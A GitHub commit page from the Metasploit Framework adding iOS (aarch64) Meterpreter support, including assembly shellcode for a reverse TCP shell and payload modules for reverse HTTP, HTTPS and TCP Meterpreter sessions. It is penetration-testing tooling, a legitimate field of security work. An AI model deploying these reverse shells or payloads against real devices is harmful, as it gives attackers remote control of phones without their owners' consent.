Skip to content

Commit 5fe9dba

Browse files
busterbbusterb
committed
Land rapid7#9296, add iOS meterpreter support
2 parents 8cd7185 + df4f62c commit 5fe9dba

File tree

51 files changed

+391
-45
lines changed

Some content is hidden

Large Commits have some content hidden by default. Use the searchbox below for content that may be hidden.

51 files changed

+391
-45
lines changed

‎Gemfile.lock

Lines changed: 2 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -19,7 +19,7 @@ PATH
1919
metasploit-model
2020
metasploit-payloads (= 1.3.20)
2121
metasploit_data_models
22-
metasploit_payloads-mettle (= 0.3.2)
22+
metasploit_payloads-mettle (= 0.3.3)
2323
msgpack
2424
nessus_rest
2525
net-ssh
@@ -188,7 +188,7 @@ GEM
188188
postgres_ext
189189
railties (~> 4.2.6)
190190
recog (~> 2.0)
191-
metasploit_payloads-mettle (0.3.2)
191+
metasploit_payloads-mettle (0.3.3)
192192
method_source (0.9.0)
193193
mini_portile2 (2.3.0)
194194
minitest (5.10.3)

‎external/source/shellcode/apple_ios/aarch64/single_reverse_tcp_shell.s

Lines changed: 72 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,72 @@
1+
.equ SYS_SOCKET, 0x61
2+
.equ SYS_CONNECT, 0x62
3+
.equ SYS_DUP2, 0x5a
4+
.equ SYS_EXECVE, 0x3b
5+
.equ SYS_EXIT, 0x01
6+
7+
.equ AF_INET, 0x2
8+
.equ SOCK_STREAM, 0x1
9+
10+
.equ STDIN, 0x0
11+
.equ STDOUT, 0x1
12+
.equ STDERR, 0x2
13+
14+
.equ IP, 0x0100007f
15+
.equ PORT, 0x5C11
16+
17+
_start:
18+
// sockfd = socket(AF_INET, SOCK_STREAM, 0)
19+
mov x0, AF_INET
20+
mov x1, SOCK_STREAM
21+
mov x2, 0
22+
mov x16, SYS_SOCKET
23+
svc 0
24+
mov x3, x0
25+
26+
// connect(sockfd, (struct sockaddr *)&server, sockaddr_len)
27+
adr x1, sockaddr
28+
mov x2, 0x10
29+
mov x16, SYS_CONNECT
30+
svc 0
31+
cbnz w0, exit
32+
33+
// dup2(sockfd, STDIN) ...
34+
mov x0, x3
35+
mov x2, 0
36+
mov x1, STDIN
37+
mov x16, SYS_DUP2
38+
svc 0
39+
mov x1, STDOUT
40+
mov x16, SYS_DUP2
41+
svc 0
42+
mov x1, STDERR
43+
mov x16, SYS_DUP2
44+
svc 0
45+
46+
// execve('/system/bin/sh', NULL, NULL)
47+
adr x0, shell
48+
mov x2, 0
49+
str x0, [sp, 0]
50+
str x2, [sp, 8]
51+
mov x1, sp
52+
mov x16, SYS_EXECVE
53+
svc 0
54+
55+
exit:
56+
mov x0, 0
57+
mov x16, SYS_EXIT
58+
svc 0
59+
60+
.balign 4
61+
sockaddr:
62+
.short AF_INET
63+
.short PORT
64+
.word IP
65+
66+
shell:
67+
.word 0x00000000
68+
.word 0x00000000
69+
.word 0x00000000
70+
.word 0x00000000
71+
end:
72+

‎lib/msf/base/sessions/meterpreter_aarch64_apple_ios.rb

Lines changed: 29 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,29 @@
1+
# -*- coding: binary -*-
2+
3+
require 'msf/base/sessions/meterpreter'
4+
5+
module Msf
6+
module Sessions
7+
8+
###
9+
#
10+
# This class creates a platform-specific meterpreter session type
11+
#
12+
###
13+
class Meterpreter_aarch64_Apple_iOS < Msf::Sessions::Meterpreter
14+
def supports_ssl?
15+
false
16+
end
17+
def supports_zlib?
18+
false
19+
end
20+
def initialize(rstream, opts={})
21+
super
22+
self.base_platform = 'apple_ios'
23+
self.base_arch = ARCH_AARCH64
24+
end
25+
end
26+
27+
end
28+
end
29+

‎lib/msf/core/module/platform.rb

Lines changed: 8 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -560,4 +560,12 @@ class Hardware < Msf::Module::Platform
560560
Alias = "hardware"
561561
end
562562

563+
#
564+
# Apple iOS
565+
#
566+
class Apple_iOS < Msf::Module::Platform
567+
Rank = 100
568+
Alias = "apple_ios"
569+
end
570+
563571
end

‎lib/msf/core/payload/uuid.rb

Lines changed: 2 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -72,7 +72,8 @@ class Msf::Payload::UUID
7272
21 => 'python',
7373
22 => 'nodejs',
7474
23 => 'firefox',
75-
24 => 'r'
75+
24 => 'r',
76+
25 => 'apple_ios',
7677
}
7778

7879
# The raw length of the UUID structure

‎metasploit-framework.gemspec

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -72,7 +72,7 @@ Gem::Specification.new do |spec|
7272
# Needed for Meterpreter
7373
spec.add_runtime_dependency 'metasploit-payloads', '1.3.20'
7474
# Needed for the next-generation POSIX Meterpreter
75-
spec.add_runtime_dependency 'metasploit_payloads-mettle', '0.3.2'
75+
spec.add_runtime_dependency 'metasploit_payloads-mettle', '0.3.3'
7676
# Needed by msfgui and other rpc components
7777
spec.add_runtime_dependency 'msgpack'
7878
# get list of network interfaces, like eth* from OS.

‎modules/exploits/multi/handler.rb

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -30,7 +30,7 @@ def initialize(info = {})
3030
'BadChars' => '',
3131
'DisableNops' => true
3232
},
33-
'Platform' => %w[android bsd java js linux osx nodejs php python ruby solaris unix win mainframe multi],
33+
'Platform' => %w[android apple_ios bsd java js linux osx nodejs php python ruby solaris unix win mainframe multi],
3434
'Arch' => ARCH_ALL,
3535
'Targets' => [ [ 'Wildcard Target', {} ] ],
3636
'DefaultTarget' => 0,

‎modules/payloads/singles/apple_ios/aarch64/meterpreter_reverse_http.rb

Lines changed: 46 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,46 @@
1+
##
2+
# This module requires Metasploit: https://metasploit.com/download
3+
# Current source: https://github.com/rapid7/metasploit-framework
4+
##
5+
6+
require 'msf/core/handler/reverse_http'
7+
require 'msf/base/sessions/meterpreter_options'
8+
require 'msf/base/sessions/mettle_config'
9+
require 'msf/base/sessions/meterpreter_aarch64_apple_ios'
10+
11+
module MetasploitModule
12+
13+
CachedSize = 692552
14+
15+
include Msf::Payload::Single
16+
include Msf::Sessions::MeterpreterOptions
17+
include Msf::Sessions::MettleConfig
18+
19+
def initialize(info = {})
20+
super(
21+
update_info(
22+
info,
23+
'Name' => 'Apple_iOS Meterpreter, Reverse HTTP Inline',
24+
'Description' => 'Run the Meterpreter / Mettle server payload (stageless)',
25+
'Author' => [
26+
'Adam Cammack <adam_cammack[at]rapid7.com>',
27+
'Brent Cook <brent_cook[at]rapid7.com>',
28+
'timwr'
29+
],
30+
'Platform' => 'apple_ios',
31+
'Arch' => ARCH_AARCH64,
32+
'License' => MSF_LICENSE,
33+
'Handler' => Msf::Handler::ReverseHttp,
34+
'Session' => Msf::Sessions::Meterpreter_aarch64_Apple_iOS
35+
)
36+
)
37+
end
38+
39+
def generate
40+
opts = {
41+
scheme: 'http',
42+
stageless: true
43+
}
44+
MetasploitPayloads::Mettle.new('aarch64-iphone-darwin', generate_config(opts)).to_binary :exec
45+
end
46+
end

‎modules/payloads/singles/apple_ios/aarch64/meterpreter_reverse_https.rb

Lines changed: 46 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,46 @@
1+
##
2+
# This module requires Metasploit: https://metasploit.com/download
3+
# Current source: https://github.com/rapid7/metasploit-framework
4+
##
5+
6+
require 'msf/core/handler/reverse_https'
7+
require 'msf/base/sessions/meterpreter_options'
8+
require 'msf/base/sessions/mettle_config'
9+
require 'msf/base/sessions/meterpreter_aarch64_apple_ios'
10+
11+
module MetasploitModule
12+
13+
CachedSize = 692552
14+
15+
include Msf::Payload::Single
16+
include Msf::Sessions::MeterpreterOptions
17+
include Msf::Sessions::MettleConfig
18+
19+
def initialize(info = {})
20+
super(
21+
update_info(
22+
info,
23+
'Name' => 'Apple_iOS Meterpreter, Reverse HTTPS Inline',
24+
'Description' => 'Run the Meterpreter / Mettle server payload (stageless)',
25+
'Author' => [
26+
'Adam Cammack <adam_cammack[at]rapid7.com>',
27+
'Brent Cook <brent_cook[at]rapid7.com>',
28+
'timwr'
29+
],
30+
'Platform' => 'apple_ios',
31+
'Arch' => ARCH_AARCH64,
32+
'License' => MSF_LICENSE,
33+
'Handler' => Msf::Handler::ReverseHttps,
34+
'Session' => Msf::Sessions::Meterpreter_aarch64_Apple_iOS
35+
)
36+
)
37+
end
38+
39+
def generate
40+
opts = {
41+
scheme: 'https',
42+
stageless: true
43+
}
44+
MetasploitPayloads::Mettle.new('aarch64-iphone-darwin', generate_config(opts)).to_binary :exec
45+
end
46+
end

‎modules/payloads/singles/apple_ios/aarch64/meterpreter_reverse_tcp.rb

Lines changed: 46 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,46 @@
1+
##
2+
# This module requires Metasploit: https://metasploit.com/download
3+
# Current source: https://github.com/rapid7/metasploit-framework
4+
##
5+
6+
require 'msf/core/handler/reverse_tcp'
7+
require 'msf/base/sessions/meterpreter_options'
8+
require 'msf/base/sessions/mettle_config'
9+
require 'msf/base/sessions/meterpreter_aarch64_apple_ios'
10+
11+
module MetasploitModule
12+
13+
CachedSize = 692552
14+
15+
include Msf::Payload::Single
16+
include Msf::Sessions::MeterpreterOptions
17+
include Msf::Sessions::MettleConfig
18+
19+
def initialize(info = {})
20+
super(
21+
update_info(
22+
info,
23+
'Name' => 'Apple_iOS Meterpreter, Reverse TCP Inline',
24+
'Description' => 'Run the Meterpreter / Mettle server payload (stageless)',
25+
'Author' => [
26+
'Adam Cammack <adam_cammack[at]rapid7.com>',
27+
'Brent Cook <brent_cook[at]rapid7.com>',
28+
'timwr'
29+
],
30+
'Platform' => 'apple_ios',
31+
'Arch' => ARCH_AARCH64,
32+
'License' => MSF_LICENSE,
33+
'Handler' => Msf::Handler::ReverseTcp,
34+
'Session' => Msf::Sessions::Meterpreter_aarch64_Apple_iOS
35+
)
36+
)
37+
end
38+
39+
def generate
40+
opts = {
41+
scheme: 'tcp',
42+
stageless: true
43+
}
44+
MetasploitPayloads::Mettle.new('aarch64-iphone-darwin', generate_config(opts)).to_binary :exec
45+
end
46+
end

0 commit comments

Comments
 (0)